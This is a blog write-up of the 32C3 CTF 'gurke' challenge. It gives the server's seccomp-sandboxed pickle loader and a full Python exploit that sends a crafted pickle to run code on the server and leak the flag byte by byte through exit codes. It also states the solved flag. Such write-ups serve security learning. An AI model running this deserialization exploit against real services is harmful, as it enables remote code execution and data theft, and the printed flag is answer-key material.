writeup
32C3 CTF - gurke
30 Dec 2015Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on http://136.243.194.43/.
Gurke is German for ‘cucumber’. Server runs this code:
#!/usr/bin/env python
import sys
import os
import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape
class Flag(object):
def __init__(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 1234))
self.flag = s.recv(1024).strip()
s.close()
flag = Flag()
from seccomp import *
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")
f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
f.load()
data = os.read(0, 4096)
try:
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)
os._exit(0)
Everyone knows that unpickling user provided data is dangerous. I’ve used arbitrary code execution pickle from https://www.cs.uic.edu/~s/musings/pickle.html.
We cannot just “print flag.flag”, because the context where our code is executed is inside pickle module of remote server. So we needed some workaround by reading:
vars(sys.modules['__main__'])['flag'].flag
Even if we had access to it, we could not get the data directly because writing to stdout is forbidden by seccomp. We extracted the flag byte by byte through the exit code.
import requests
import os
import sys
import marshal
def getbyte(pos):
exec("""
def f():
import os
m = globals()['sys'].modules
x = m['__main__']
x = vars(x)['flag'].flag
x = ord(repr(x)[%d])
os._exit(x)
""" % pos)
m = marshal.dumps(f.func_code).encode('base64')
p = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % m.replace('\n','')
r = requests.post("http://136.243.194.43/", data=str(p))
if "exception" in r.content:
print r.content
return None
else:
return int(r.content[7:])
s = ""
for i in range(100):
c = getbyte(i)
if not c:
break
s += chr(c)
print c, s
print s
Flag is 32c3_rooDahPaeR3JaibahYeigoong
Other posts (list)
32C3 CTF - blobberry 30 Dec 2015
32C3 CTF - ey_or 30 Dec 2015
32C3 CTF - gurke 30 Dec 2015
Regex Crossword Solver with Z3 04 Jan 2016
Holyshield 2016 - Holy Cat writeup 12 Jan 2016